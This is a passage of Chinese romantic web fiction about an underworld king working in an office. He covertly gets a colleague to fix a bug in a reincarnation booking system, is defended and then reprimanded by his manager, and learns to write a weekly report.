“哦好的好的,你等我一下我很快。”白念生连忙答应,但身体就是不动,只是手上的速度越来越快。
阎璟好奇他究竟是在干嘛,于是打算
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起身去看个究竟。
“你别过来!”白念生余光一瞟,顿时吓了一跳,立刻叫住阎璟的步伐。
“怎么了?”阎璟一头问号,“你在忙什么?”
越着急越乱,上面的照片还在,就差一点。
白念生手上的键盘都快敲起火了。
一步,两步,阎璟终于站在他身后。
“啪!”电脑黑屏!
白念生一头冷汗,抹了抹额头,转头带着幽怨的眼神看他,那双萌萌的大眼都快哭出来了。
阎璟更加奇怪,“怎么了?谁欺负你了。”
“我的命终于找回来了啊!!!!”白念生瞬间感觉自己已经死里逃生一劫。
他刚刚被阎璟吓得,接连按错好几个按键,最后都乱套了,没想到最终居然真的黑掉了。
可喜可贺!
与此同时,在冷樾的办公室内,那双修长骨节分明的双手,风轻云淡的从键盘的上下来,身体微微后仰,靠在椅背上,目光盯着屏幕上,不带着一丝感情。
此刻的内网里,不仅阎璟白念生的绯闻消失无踪,就连之前和孟小七的绯闻贴子也消失不见。
白念生反手抱着阎璟的腰身,象征性哭几下,眼泪也没有,纯属雷声大,雨点小,半晌才想起阎璟的事,问:“你要去技术部?找谁?”
“找他们的负责人。”阎璟说。
“那就是莫职总监?”
白念生呼出一口气,转身站起来,拿起外套,“莫职总监是个极不好说话的人,甚至还有点变态。”
“变态?”
“变态!”白念生没有直说,莫职可能比崔珏那家伙还变态呢!
喜欢压榨员工就算了,还喜欢加班!
卷自己也就算了,他只卷别人,一手令人发指的PUA技能点满!
阎璟心里犯嘀咕,心想,这个公司估计除了冷樾,个个都有点变态,眼前的白念生也不例外。
哎?为什么唯独冷樾排除在外?
下电梯直走,阎璟把白念生护在身前。
前面的人特别无语,“我说你怕什么!他再变态,又不会吃了你。”
阎璟对熟人都挺正常,可一到陌生环境,心里不由开始抵触,轻声轻语,又不太好意思承认,“我有点,社恐……”
“恐什么!”白念生朝趴在他背后的人,向上翻了个白眼,“我都不知道你们一个个都说社恐,恐什么?”
“就是恐你们这种社牛!”阎璟自以为说的很小声。
“……”
听说业务部最近的被讨论热火朝天话题人物,亲自来技术部莅临指导莫职当然亲自接待。
“钟小葵?倒茶款待稀客。”
他转身吩咐,目光却始终落在阎璟身上,就是那双打量人的眼神,让人浑身不自在。
钟小葵应声出去倒茶。
阎璟心想:这人长得是有点……怪?
阎璟在莫职的注视下,从白念生背后出来,一步一步走到他面前,压力山大的讲出自己的看法,技术他不懂,但是,他知道问题所在。
莫职则是慢悠悠围着阎璟绕了两圈,点点头,又摇摇头,眼神里十分好奇,“你一个刚来的,就想挑战规则。”
“规则是错的,不能提吗?”阎璟轻声反问,“往生预约系统出现技术性漏洞,这些年,一直没有人发现吗?那死魂无法预约转生,地府投胎率降低,人间界生育率也降低。如此反复,世间漂泊游荡的魂魄多如牛毛,谁去承担个后果。”
白念生在一旁悄悄鼓掌,“看不出来,阎小璟,你的责任心这么重。”
莫职重新审视阎璟,目光深邃,似乎在他身上寻找什么东西,仿佛间,突然明白了什么!
“行,意见我们听,有问题我们改。”莫职微眯着眼睛,那双眼睛里泛着精光,“小朋友还有没有意见?”
阎璟被他一句小朋友叫的,差点没忍住将拳头挥过去,“没,没有了。”
“来,喝茶!”
25. 修bug的阎王大人
阎璟回到工位,越想越不对劲。
那家伙绝对脑子有问题,正常人有谁会露出那种色眯眯的表情?
“你说,莫总监会优化系统吗?”他忍不住问隔壁的白念生。
白念生手里那支判官笔转得飞快,语气懒洋洋的,“几率不大。我估摸着,他就是好奇你长什么样,不然哪会亲自过来接待?随便派个人就把你打发了。”
“我有什么好看的。”
白念生一个滑铲过去,认真盯着阎璟看了两秒,啧啧两声,“某人对自己还真是一点认知也没有啊!”
阎璟无语,伸手将他推回自己工位。
此时,办公室里零零散散就坐着几个人,各自埋头做事。
唯独阎璟的桌面干净得过分,脑袋也空空如也。
“啪!”
阎璟突然一掌拍在桌上,响声震得白念生手里的判官笔,和隔壁桌同事的镇符纸一抖,差点飘落。
“我决定了,”阎璟一字一顿,很认真,“要是莫总监不优化系统,那就我来做。”
白念生下巴差点掉下来,眨了眨眼,问出个致命问题,“你会吗?”
阎璟突然的被噎住,他还真不会。
“切。”白念生刚朝他翻起半个白眼,就看见阎璟那双眼睛直勾勾盯着自己,目光亮得瘆人,盯得他脊背发凉。
“不会吧……”白念生有种不祥的预感。
阎璟已经起身走到他面前,重重拍了拍他的肩头,“我相信你,可以的。”
白念生张嘴欲辩。
阎璟一巴掌虚掩住他的嘴,很小声:“咱们偷偷干。”
白念生还想挣扎一下。
“出事我担着。”阎璟补上最后一句。
“……”
两天后。
阎璟看着电脑屏幕上纹丝未动的预约往生系统界面,露出一副“果然如此”的表情。
“白念生。”
“搁这了呢!”白念生有气无力回答。
“干他。”
说干就干。
白念生向来把公司规章制度当空气,阎璟更是个不按常理出牌的怪咖。
只是白念生至今没想通:自己一个前辈,怎么就乖乖听起了新来的指挥?
算了,先干再说,谁让他也看莫职那狗比玩意不顺眼。
下班后,办公室陷入一片黑暗与寂静,只剩下他们这一角还亮着微光。
白念生伸了个懒腰,准备开工。
阎璟则偷偷摸摸到门口,鬼鬼祟祟开始放风。
这时,总监室那头突然传来脚步声。
冷樾从办公室从容走出来,看见阎璟缩在门边的样子,有些疑惑,便悄悄走近,拍了拍他的肩,“你在这儿干什么?”
“谁?!”阎璟浑身一紧,条件反射就是一个反手擒拿。
冷樾被打的猝不及防,“砰”一声,被阎璟按在墙上,脸被挤得有些变形,可见阎璟下手不轻。
“哎呀!对不起对不起!”阎璟才反应过来,连忙松手,声音里带着几分慌乱,“冷樾你没事吧?怎么突然出现在我身后……没伤着吧?”
冷樾揉揉肩膀,微微蹙眉,慢慢缓缓呼吸,随后肩颈处活动几下,一脸我好痛的表情,可怜巴巴望着阎璟,眼神里带着控诉。
阎璟被他眼神瞧的心里一软,心里更加内疚起来,不由分说,把人拽过来,按在旁边的椅子上坐下,伸手一点点帮他揉胳膊。
“对不起,不知道是你,纯属条件反射。”
阎璟一遍揉一边道歉,只是那动作实在生疏的很,力道也没有控制好。
“嘶,痛痛痛痛痛……”冷樾倒抽一口凉气。
阎璟赶紧再放轻点力道,“抱歉抱歉,我轻点。”
微弱光线的角落里,冷越微微侧偏过头,压不住的嘴唇,止不住的上扬。
阎璟的手算不上温暖,甚至算是凉。
可那小心翼翼的触碰,却像细水长流一般,慢慢淌进他心里,涨得他的心满满的。
过了一会儿,冷樾还是不忍阎璟辛苦,忙拉过他的手,“可以了,不疼了。”
“不行,刚刚那力道放在你身上,估计筋都扭伤了,不然你也不会第一时间吃痛。”阎璟知道自己的手劲,也清楚[人]是多么脆弱的生物。
尤其是冷樾这个脆皮生物,太不禁碰!
说着,阎璟还想到另一边将冷樾另一只胳膊拐肘处一并按摩,可光线太暗,脚下似乎不知是绊到冷樾的脚还是踢到了椅腿,整个人失去平衡,身体往冷樾身上趴去。
冷樾眼疾手快,伸手一揽,将人捞了起来,顺势让他跌坐在自己腿上。
这就尴了个尬的!
四目相对之下,空气变得窒息,尴尬的气氛在两人身上蔓延,就保持那个动作,一时都忘记做反应。
白念生到底还是有两把刷子,捣鼓半天,终于从屏幕前抬起头,长长舒了口气,“搞定了。”
就这么简单?
技术部该不会是故意的吧?否则怎么会任由这种漏洞遗留到现在。
他一扭头,正好看见门口,阎璟和冷樾两人周围,在冒着粉红泡泡,忍不住骂道:“我靠,我在里头忙死忙活,你俩在外头卿卿我我?过分了啊!”
听到声音,阎璟眼睛一亮,立刻从冷樾身上起来,走过去忙问,“修复好了?”
“小菜一碟。”白念生扬起下巴,得意洋洋。
“辛苦,等我发工资,请你吃饭。”阎璟拍拍他的肩膀,以资鼓励。
“就你那点窝囊费,不指望了。”白念生丝毫不客气的打击他,“行了,我走了,你们两个想继续冒粉红泡泡就回家去,这是办公室,有摄像头。”
白念生指指透顶上面冒着红光点点。
阎璟有些尴尬摸着鼻尖,想解释刚刚不是这样的,可看白念生这副不太想知道事情真相的样子。
索性,也不解释了。
懂得都懂!
等阎璟把后续扫尾工作收拾妥当,冷樾依旧安安静静等在一旁。
最后,两人一起穿过夜色,离开了公司。
冷樾胳膊隐隐约约还是有点不舒服,但开车依旧很稳,阎璟来回打量几眼,心里更加内疚,想起来上次白念生曾说,考驾照的事来。
如果自己也会开这个四只脚会爬的铁皮车,上下班就不会麻烦冷樾了。
冷樾见他一句话不说,一直在那摇头又点头,不知道想到什么,这么纠结。
“怎么了?”
阎璟也没瞒他,将他的想法和盘托出。
冷樾一时新奇,觉得这有点不符合阎王大人怕麻烦,又懒,又社恐的人设。
阎璟从来不知道自己在冷樾心里是什么样的人。
但,他是阎王。
他很清楚自己的身份,所以有些事,哪怕他心里发怵,抵触,害怕,但依然会去做。
因为他是阎王!
“你觉得我可以吗?”
冷樾见他心里忐忑,心里很是高兴,”你喜欢这个世界吗?”
喜欢这个世界?
“这两者有什么关联?”
“如果你热爱这个世界,那么,你就去做你热爱的一切。”冷樾慢慢引导着阎璟自己慢慢思考,把决定重新交到他手里。
街道两侧的树影,路灯的光圈,与树木的阴影彼此交错,浸染。
车窗外,世界被分成两半,对阎璟来说,那是一
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个他极少接触的世界!
现在,就在他眼前。
他决定了……!
第二天,白念生私下篡改预约往生系统bug的事,终究没有瞒住,还是被发现了,崔珏把他拽到办公室,劈头盖脸就是一阵招呼。
白念生也是真够意思,咬紧牙关,硬是没有把阎璟招出来。
他是不说,但保不了阎璟那个傻的不请自来!
白念生拼命给他使眼色,他都装瞎当没看到,气的他恨不得当场,把判官笔插他鼻孔里去。
气死人了!
办公室内,莫职总监歪歪倒倒坐在的沙发上,趾高气扬,一副可算拿捏住把柄的拮据模样。
没理他都能编三分出来,更何况,这这回的确是阎璟他们先越权在先。
阎璟向来不喜欢让自己的下属顶锅,直接了当认下,“是我让白念生做的。”
很好,两个人脸上都是一副死猪不怕开水烫的表情。
“系统存在漏洞,当然要修复。”
“那是技术部门的事!”崔珏那大肚子一挺一挺,鼻子眼都挤到一块,声音都带着怒音,可见被气坏了。
“我看到不对,我就得管,我性格就这样,你多担待,实在不行,我跟你说声对不起……”阎璟的性子一向吃软不吃硬,双手一背,站的铁直,“反正事儿已经做了,你们打算怎么办吧。”
白念生低着头拼命憋笑,阎小璟真是把死猪不怕开水烫发挥到极致了,实在够可以!
崔珏扶住额头,脚下有些不稳,几乎在哀叹,“我真是一个头四个大,云为衫可真是好命,你们奥迪A8组,一个反骨,好不容易招来一个,又是反骨。”
莫职在旁一副看戏的表情,眼神视若无睹的落在阎璟身上。
阎璟觉察到了不善的眼神,目光轻飘飘的滑过,懒得看他。
其实,白念生刚刚被拽到办公室里时,就偷偷使眼色给安饶,让他去通知冷樾,算时间,这会也应该到了。
心里默念,一、二、三!
“咚咚咚。”敲门声相当准时。
白念生几乎在心里呐喊出声,yes!就知道,给力!冷总监最给力!
冷樾面无表情站在门口,保持刚刚敲门的姿势,视线在阎璟,白念生,崔珏身上扫视一圈,目光最终落在莫职的身上。
原本趾高气扬的莫职,身子瞬间周正起来,慌忙站起来想要握手。
“冷总监。”
冷樾没有接受他的礼节,声音沉稳,却带着刺骨一般的压迫感,“莫总监,你到我们地盘,训我的人,不跟我打声招呼,这实在说不过去吧!”
“哎呦呦,哪里话。”莫得嘴角挤出一点冷笑,尴尬的收回手,“你的人跑到我的地盘,改我的系统数据,你说怎么办?”
冷樾闻言,转头看向阎璟,“你们去他们地盘改的?”
阎璟,白念生齐齐摇头,动作整齐划一!
莫职:“……”
冷樾径直走到崔珏办公椅旁边,崔经理立刻会意,让出位置,他从容落座,目光直指那人,“莫职总监,我们的人没踏足你的地盘,退一万步说,即便真是他们干的。”他语气稍顿,随即加重,“难道你们不应该自省吗?”
“什么?”
“我下面一个业务员,随便两下就能修正你们的系统代码,甚至都不需要接触到你们的源数据,你们技术部不感到羞愧吗?还有脸来兴师问罪?”
冷樾身体松散往背后依靠,一脸不屑,声音压低,字字清晰,句句扎心。
“还是说,你们整个技术部,没有一个人会修正参数?”
“你……”
顿时,整个办公室气氛达到冰点……
26. 第一次写周报的阎王大人
四下静得可怕。
门外偷听的众人连呼吸都屏住了。
早就说自家总监,既护短又不好惹,今天算是亲眼见证了。
莫职这老登纯粹是自己往枪口上撞。
阎璟心里暗暗叫好。
他要是有冷樾一半的口才,也不至于……沦落成个社恐。
“崔经理。”
冷樾忽然点名,声音不大,却让崔珏浑身一颤,“在!”
“连自己的人都护不住,以后就别费心了。”冷樾语气平平淡淡,却字字清晰,“体谅你带着好几个组,分身乏术也正常。从今天起,A8组我亲自跟,直到云组长回来。”
崔珏哪敢有半句微词,连连点头,“是,是,您说得对。”
冷樾不再多言,转身拉开门。
趴在门外听墙角的一群人影,一瞬间全部散开,只留下略显慌乱的脚步声。
阎璟和白念生跟在冷樾后面,摇摇晃晃,肩靠着肩,走了出来。
白念生悄悄冲阎璟竖起大拇指,眼睛一挤一眨的。
意思再明白不过:你家这位,可真厉害!
阎璟同样用力点了点头,也学着他的样子竖起拇指,对气场全开的冷樾,那是一脸佩服。
突然,走在两人前面的冷樾顿时停住脚步,后面交头接耳的两人差点撞上他后背。
冷樾转过身,一言不发地瞪了他们一眼。
那眼神像刀子一样,仿佛什么都说了,又仿佛什么都没说。
然后他转身就回了办公室。
白念生刚想脚底打滑,准备开溜,就被阎璟从后面拎住了后衣领。
他说,“冷总监叫我们过去。”
“他根本没说话,你幻听啊!”白念生才不想再去挨训,只有阎璟这傻子往他跟前凑。
阎璟一脸认真:“我看见他眼神了。”
“夫管严……”白念生小声嘟囔。
“什么眼?”阎璟没听清。
总监室内,两人并排站着,头不约而同地往下低,一副虚心认错的态度。
阎璟心里虽觉得理亏,却并不认为自己真做错了什么。
冷樾手指飞快的登录到预约往生系统后台。
果然,后台修复后,新用户数量在增加,而且越来越多。
后台留言也多了起来。
一个叫“张三”的用户激动地留言:“感谢天,感谢地!终于能预约投胎了,我等了整整十年!能让我插个队吗?”
冷樾迅速回了一句:“按规矩排队!”
接着他把目光转回面前两人身上,什么也不说,就这么静静地看着。
阎璟活这么大,除了被天道劈过,还没在人间被一个凡人这样审问过。
这感觉……还挺新鲜。
白念生偷偷抬眼,想瞄一眼冷樾的表情,刚抬起来就对上了对方冷冰冰的视线,吓得脖子一缩,脑袋垂得更低了。
“刚才的气势哪儿去了?”
冷樾向后靠在太师椅里,目光锐利,完全一副公事公办的语气,“知不知道擅自修改系统数据,需要提前走OA审批流程?”
阎璟侧歪过头,低声问白念生:“有这流程吗?”
白念生摇摇头:“不知道……”
……
阎璟不熟悉公司业务也就罢了,白念生待了这么久,居然也不知道?
“这段时间,系统操作你学会了多少?”冷樾这次是问阎璟。
阎璟老老实实回答,声音低得几乎听不见,掰着手指头一点点数,“嗯,学会了OA流程里的请假、出差、报销。”
白念生在旁边默默点头,表示肯定。
冷樾:“……”
“公司主营业务系统有哪几个?”这句话是问白念生。
白念生眼珠转了转,想了一下,开口流利答道,“预约往生系统、六道轮回系统、用户满意度系统,还有生死簿APP查询系统。”
听到六道轮回,阎璟垂下的眼眸,不明所以转了几下,似乎脑海里有点东西,但又抓不住。
“预约往生系统的业务模块划分。”冷樾继续追问。
“呃……灵魂服务满意度、投胎流程效率、业力结算准确率……”
冷樾目光又转向阎璟:“以上这些,你学会了哪个?”
阎璟再次垂下脑袋,目光哀怨地瞥了白念生一眼。
“别看他,他脸上有字?”
阎璟心想:脸上没字,但他真想画只乌龟上去。
这个白念生,靠谱的没有一个教过他!
“我替你们回答,你根本没学过,他也没认真教过。”
阎璟抬起头,眼神坦率的反驳一句,“教了一个。”
冷樾冷呵一声,“对,教了一个预约往生系统的使用,还没正式进去,就觉得登录页面有问题。于是趁着夜黑风高,直接把系统改了。”
阎璟再次低下头,不说话了。
因为他没理。
冷总监说的都对。
随着两人在总监办公室时间越来越长,相同的场景再次出现。外面一圈挤满了人,一排排小脑袋贴着门板,窗户,伸着脖子竖起耳朵,生怕漏掉重要的八卦。
崔珏一开始有点气愤,可还没发作,就被人堵住嘴巴,硬是按着肩膀弯下了腰,加入听墙角的行列。
里头,冷樾的声音依然清晰,字里行间都是对那两位不专业的评判,还有对他们不擦干屁股的恼火。可仔细一听,话里话外又像是护着自己人,教他们办事下次做的干净利落。
天降总监大人,果然是护犊子第一名!
冷樾说的口干舌燥,一副恨铁不成钢,“白念生,念你初犯,这回就不扣你那点窝囊费,自己写份检讨交上来。”
白念生狂点头,就差跪下来谢主隆恩!
“阎璟。”冷樾走到他面前,目光落在他的脸上,“抬起头来。”
阎璟小心翼翼抬起眼,两人视线交织,相撞在一起。
“你,以后,我亲自带。”
完了!以后流言蜚语少不了的了。
阎璟深吸一口气,像是电影的慢镜头一般,缓缓朝白念生看去,希望他能救救自己。
谁知白念生闭着眼,一个劲冲他点头,赶紧让他同意。
“你有意见?”
阎璟立刻摇头,“没有。”
冷樾似乎满意了,语气一松,“行了,出去吧!”
白念生听到赦令,恨不得一秒消失。
猛一开门,谁知外面哗啦哗啦,倒进来七八个,看热闹不嫌事大,又爱听八卦的同事。
阎璟歪着头眨巴眨巴眼睛,感觉太奇妙了!果然是公司传统!
“还有心情听墙角。”冷樾反倒不怎么意外,在众人手忙脚乱爬起来准备开溜时,他来了一句,“都站住——”
准备抬脚离开到众人,似乎瞬间一下子被按下暂停键!
四周空气也瞬间变得凝固起来。
冷樾头也不抬,重新坐会位置上,继续开口,“希望下
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周,在我办公桌上能看到各位出色的周报。”
“……”
“……”
周报这事儿,可真真是难倒了阎王大人。
从下班到现在,阎璟满脑子只有两个字:周报!别的什么都顾不上,一提别的,他就皱着眉念叨要写周报。
两人刚踏进庄园,正巧碰上今天来送菜的阿姨正抬脚准备离开。
阿姨笑着跟冷樾打了声招呼,“今天的菜都备齐啦,鲍鱼和海参都是原产地直运的,个个又大又鲜。”
冷樾客气地点点头,“辛苦您了。”
“应该的。”
阎璟还陷在周报的思绪里,没太在意周围。他回房间换了身衣服,就径直进了书房。
冷樾从冰箱里取出油麦菜,又拎起几袋刚送来的佛跳墙食材,转身进了厨房。
两小时过去,阎璟面前的纸依旧空空荡荡,一个字也没憋出来,只觉得头痛欲裂。
“小璟,先吃饭吧。”冷樾轻敲房门,衬衫袖子挽到臂弯处,露出一截很力量的手臂和修长的手指。
围裙还没解下,就这么一身正装外搭围裙的居家模样倚在门边,优雅里莫名透出点接地气的温和。
随着视线往里看去,阎璟整个人瘫在书桌上,头也没抬,声音有气无力,“不行,周报还没写……”
冷樾:“……”
“饭总要吃,明天周末,有的是时间写。”
阎璟抬起眼,瞧见他那副云淡风轻的样子,仿佛天大的事也不值一提,这人好像做什么都从容不迫。
“我不会写啊!”
冷樾抿住嘴角,忍了忍笑意,“我知道。”
阎璟简直想仰天长叹。
冷樾走过来,伸手将他从椅子上拉起来,“好了,先吃饭。你真不饿吗?”
阎璟这才回过神来。一整天被各种烦心事扰得心神不宁,临下班还要面对周报,连肚子饿的感觉都早已忘得一干二净。
冷樾强忍着笑意,轻声道,“别愁了,公司里为周报头疼的又不止你一个。”
阎璟并不觉得这话能安慰到自己,抬眼瞥了瞥这个“罪魁祸首”,目光里满是无声的控诉。
“小璟,我人都站在你面前了,要学会利用资源。”冷樾语气温和,却意有所指。
阎璟抬眼望他,“你教我?”
冷樾点头:“当然可以,不过有条件。”
“说。”
“晚上陪我一起做花灯。”
这算什么条件?阎璟想也没想就答应了。
冷樾在公司和在家简直是两个人。
阎璟有时都忍不住怀疑,一出门这人是不是被调了包,否则怎么能有如此鲜明的反差。
仿佛能听见他心声似的,冷樾微微俯身,凑到阎璟耳边,声音压得低低的,气息中带着温热,“装的。在公司不严肃一点,管不住下面的人。我真正的性子……你还体会不到?”
耳垂被冷樾温热气息弄得痒痒的,阎璟下意识抬手挠了挠,心里却对他的话深有同感。
就像他自己在冥界每次开会时,哪怕心里再发虚,面子上也总要端出一副威严不动的架势。
“白念生他们私下都叫你冷面杀手。”阎璟小声嘀咕。
冷樾眼睫微眯,轻轻“呵”了一声,“哦?是吗?”
阎璟连忙拽住他的围裙边,“我跟你说的,你可别告诉别人是我传的。”
冷樾抬手揉了揉他的发顶,笑得温温和和,“当然,我不是那种人。”
27. 被套路的阎王大人
冷樾说教他写周报,就真的认认真真的教他写周报。
可临到头,不认真的那个反而成了阎璟。
阎璟挪了挪腰,半侧过身,有些尴尬,“我们这个姿势,应该不对吧?”
冷樾没有觉得有什么不妥,依旧端坐在太师椅上,顺手把人揽到自己腿上坐好,腰上的手紧了又紧,防止坐不稳再掉下去。
“这样是不是太暧昧了?要不我再去拿一把椅子过来。”阎璟作势就想起身,重新搬把椅子坐旁边,却被冷樾一把拉住。
他说:“男女之间如此,叫暧昧。我们是……男男。”
哦,原来如此,似乎很有道理。
男人和男人之间不用太在意细节,更不用拘泥小节。阎璟回想一下,“好像是这么回事。”
他又不是女的,坐一下又不会怀孕!
于是,冷樾带着他的手,一点点打开文件,手把手教他用键盘打字,组织语言。经过一个上午的努力不懈,终于,连着标题和第一段叙述加总结,磕磕绊绊总算写出来了。
真不容易。
只是两个大男人挤在一张椅子上,阎璟只觉得自己的腰都快僵了。
他好不容易直起身舒舒服服伸了个懒腰,回头却见冷樾正垂着眼,下颌微微绷紧。
“你也起来活动活动,别一直坐着。”
冷樾何尝不想起身,可就是怕起来后,再吓到阎璟,因为身上那个不受控制的孽畜居然兴奋到不行。
“你先去玩吧!我给你改改病句。”冷樾说的理所当然,阎璟也不疑有他,应了一声,转身就跑去庭院看茉莉花去了。
直到那道身影消失在门边,冷樾才低头咒骂一声:真是要命!
后来,冷樾又想故技重施,阎璟这次学聪明了,当场就拒绝。
他吸取了之前的教训,打定主意再也不和冷樾挤一张椅子。
又想起冷樾强调过要交纸质版报告,阎璟立刻以此为由堵了回去。
这下可好,冷樾被自己说过的话给噎住,一时无言以对,只是暗暗懊悔,真是搬起石头砸了自己的脚。
所以,阎璟决定亲手写一份。
“不是这种纸质版……”冷樾在旁边再三解释。
可阎璟说什么也不愿再缩进男人怀里,在电脑前一板一眼打字,太煎熬,态度异常坚决,“我不管,我就要自己写。”
”行!”冷樾只能无奈沉默。
不上班的日子总是过得飞快。
连着两天,阎璟都被冷樾看得死死的,耳边还时不时响起催促,“这么快就要放弃了吗?”
阎璟一脸苦菜色,侧转过身目光看向背后的人,嘴上抱怨道,“不是放弃!咱们换个方式行不行?用电脑打字时,因为我不会,你手把手教也就算了,现在用毛笔写字,你还要握着我手教?我会写的!”
“你会写,来来回回错了几张?”冷樾指着地上那几团废稿。
“我那是……语言没有组织好。”
听他叽里咕噜说了一大堆,拒绝一大推,冷樾最终还是觉得亲自上阵,手把手地督导起来。
“为什么?”
“因为我说过,你,我要亲自带。”
“……”阎璟沉默了。
直到双休日的晚上,被折磨了两天的阎璟整个人瘫在床上,一脸的生无可恋。
没想到,冷樾平时看起来温温和和,一到工作状态就格外较真。
连写毛笔字都要亲自带着他一笔一划运笔、落锋,生怕写错一处,整张纸就废了。
都说认真的男人最帅,可阎璟此刻只觉得:太认真的男人,真要命!
周一大清早上,阎璟把自己那份写得最满意的周报仔细折好,放进文件袋,得意洋洋的打卡上班。
业务部门周一全员例会上,其他人交的都是平整的A4打印纸,唯独阎璟那份,折得厚厚一叠,活像一本奏折。
别人笑他太疯癫,他笑别人也一样。
看着正前方冷樾面无表情的收作业,只有他那份单独放在一旁孤苦伶仃,太显眼了!
“不是说要手写吗?”他侧过头小声问旁边的白念生。
白念生抬头瞥了一眼他那份厚道离谱的奏折,无奈回他,“是要纸质版没错,但你完全可以电脑编辑好再打印出来啊。”
阎璟瞬间僵住,所以……
他本不想太特殊,结果偏偏成了最显眼的那一个。
白念生瞧他还真的是一笔一画写出来,不禁摇头叹气,“阎小璟,你也太实诚了。还用毛笔写!显着你了。”
冷樾,对不起,他又错了。
阎璟眼神偷瞄一眼正前方冷樾的方向,两人四目相对一瞬,立刻默契转移视线。
后面不知道谁在角落里感慨,“哎呦我怎么感觉冷总监心情不错。”
旁边的人立刻附和,“怎么说?”
“这次没怼人。”
旁边几个听到讨论的几个小道士纷纷点头,完全赞同。
有人心情好,就意味着必定有人心情不好。
例会结束后,其他人如释重负地散去了,唯独白念生被单独留了下来,二话不说被拎进了总监办公室。
没人知道冷总监为什么只叫他一个人。
没过多久,里面突然传出白念生要命的声音,办公室一干人等身子全部坐的铁直,竖起耳朵,恨不得趴上去听
“啊?为什么偏偏派我去出差?那我要带阎小璟一起!”白念生睁着萌萌的大眼睛,提出意见。
可惜意见没有被采纳,“他不行。”
“凭什么?他不需要积累经验吗?”
“他连基本操作都不熟,你带他去做什么?”冷樾的语气冷静而果断。
“带他在旁边……给我喊六六六,喊加油!”
直到冷樾看他的眼神越来越冷,白念生才冷哼一声,摔门而出。
他一路哀嚎着回到工位,瘫在椅子上长吁短叹。
在冷总监手底下干活,和在崔命那儿根本没什么区别,都一样折磨人。
不对,还是有点不同的,在崔命那儿至少还能顶两句嘴,可到了冷樾这儿,就只有服从的份。
命运啊,你太不公平了!
这边,阎璟从茶水间接完水回来,见众人对白念生一副幸灾乐祸的模样,又见他这副颓废模样,忍不住凑过来关心,实则八卦道,“怎么了?”
白念生哀怨地抬起头,扁着嘴,眼眶里似乎有泪光打转,“呜呜,我被发配边疆了……”
“?”阎璟轻轻抚了抚他的后背,温声安慰,“要去很远的地方吗?多久?”
“两天。”白念生有气无力地趴回桌上。
“……”阎璟默默白了他一眼。
才两天?这也叫发配边疆?
白念生这次要去的地方有些特殊,虽心里有没有带上阎璟的不甘,却也没拖延,直接去金乔觉那儿报备后,就立即电梯直通负七层,悄无声息的定位出发。
同行的还有A4组安饶小道士和闻不聊和尚,也就是当初跟阎璟同期面试上的那位道士和尚。
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>简直混搭风配置。
阎璟瞥了一眼冷樾紧闭的办公室门,心里不知在琢磨什么。
识海中,生死簿上,最近没出现什么新动静,那是人间界是发生什么事了吗?
午餐时间,阎璟顶着同事们八卦的视线,左挪右移,看似不经意,实则光明正大地潜行到冷樾对面坐下。
冷樾抬头看他一眼,觉得稀奇,这人一向在公司避他不及,这会子直接往他面前凑?
冷樾吃饭动作优雅慢条斯理,仿佛面前真是美味佳肴。
相比之下,阎璟只吃了两口米饭就放下了筷子。
冷樾看着他碗里几乎没动的青椒炒香蕉,“怎么不吃?”
阎璟摇摇头,“不饿。”
“那这个吃吗?”冷樾示意自己餐盘里的西瓜炒葡萄。
阎璟狠狠闭了闭眼,咽了下口水,“真不饿……晚上回去再说吧。”
这里的饭菜不合阎璟胃口,他一贯是清楚的。冷樾眼里掠过一丝笑意,顺着他的话接道,“那你晚上想吃什么?”
“只要是你做的,都行!”阎璟忽然反应过来,自己过来可不是讨论这个的,“对了,我有话问你,你让小白去做什么了?这么急,他连午饭都没吃。”
冷樾视线扫过餐盘,淡淡道:“反正食堂也没什么好吃的。”
阎璟低头看了眼自己打的菜。
青椒炒香蕉,洋葱炒年糕,西柚炒普洱,绿茶糯米糕,遂又晃了晃脑袋,试图把奇怪的搭配甩出思绪,“这好像不是重点吧……”
冷樾望着他,忽然转开话题,“我办公室有千层蛋糕,早上做的,一会儿来拿。”
阎璟立马脱口而出:“好的。”
冷樾微微一笑,端起餐盘自己转身走了。
阎璟望着他的背影半晌,才回过神,“他还是没回答我。”
冷樾的话,果然难套。
白念生其实是临时去支援云为衫,云为衫身为A组业务经理兼奥迪A8组和A4组组长,早在一个月前接到超自然现象研究和防御局的委托,前去黄河沿岸处理一起黄河浮棺事件。
原本事情在半个月前就该解决的事,但这都过去一个月之久。
云为衫也没想到事情比想象中的还要棘手,应顾不暇,只能传讯公司请求支援。
“黄河,浮棺。情况有变,速援!”
冷樾接到传讯,第一时间就锁定了白念生。
他毕竟是冥界地府的阴差,虽然只是实习的,但作用够了。
阎璟也行,只是他的身份特殊,不能直接参与人间界的因果,这也是冷樾不告诉他的原因。
可是,总有人贼心不死!
半夜,阎璟偷偷溜进冷樾的房间,把人吵醒后就蹲在床边,旁敲侧击不断追问。
冷樾一时无语,也很佩服他的执着,还是说,因为这段期间里,已经被伦晖科技公司的企业文化彻底荼毒入骨,启动八卦精神。
“我只是想知道发生什么事了?”
阎璟从后背拿出平板,登录生死簿app,查了首页和待办,一目了然,审批事项不多,最新数据的死亡名单都是阳寿已尽寿终正寝的人,合理,合法。
冷樾一把把人拽上床,把平板往旁边一丢,把人压在身下,手撑在他脑袋两侧,“小璟啊,有没有人告诉你,半夜不能爬男人的床,很危险,知道吗?”
阎璟也没想到冷樾力气居然这么大,一时竟无法挣开,歪头想了一下,“给你压,你能告诉我原因吗?”
冷樾直接气笑了。
28. 喝醉的阎王大人
果然,第二天阎璟就从崔经理那儿知道了实情,白念生是临时派去支援云组长,过两天就回来了。
就这?
就为这事儿,冷樾还藏着掖着?
可阎璟后来渐渐咂摸出点味儿来,一开始冷樾是真的不打算告诉他。
但他似乎挺享受自己围着他打转,自己追问的越凶,他就越偏不说的那股劲儿。
……就是故意的。
那白念生还一副如临大敌,被发配边疆惨兮兮的模样,谁知午饭都没吃,跑的比兔子还快!
逗他玩吧!
两天后,白念生果然回来了。
一同回来的还有云为衫,安饶小道士,和那位仿佛世间一切都不在乎的闻不聊和尚。
业务组小型会议室内,人都到齐后,开了个简短的联合汇报会。
冷樾高高在上,主打一个认真聆听,时不时手指轻点桌面,思量着什么,具体思量什么,只有他自己知道。
云为衫主讲此次黄河浮棺的重要结过果,工作汇报。
白念生则是嘴里叼着一根棒棒糖,手上捧着一个长方形的盒子,上面贴着封条,时不时突然冒起一阵绿光,看样子是解决了。
安饶和闻不聊坐在两侧,两人似乎看上去很是疲惫。
而阎璟作为标准的A8组成员,列席最末,因为没有参与,所以他的存在感最弱。
其实从他第一眼进来时就看到,那个坐在白念生上位的那道纤细身影。
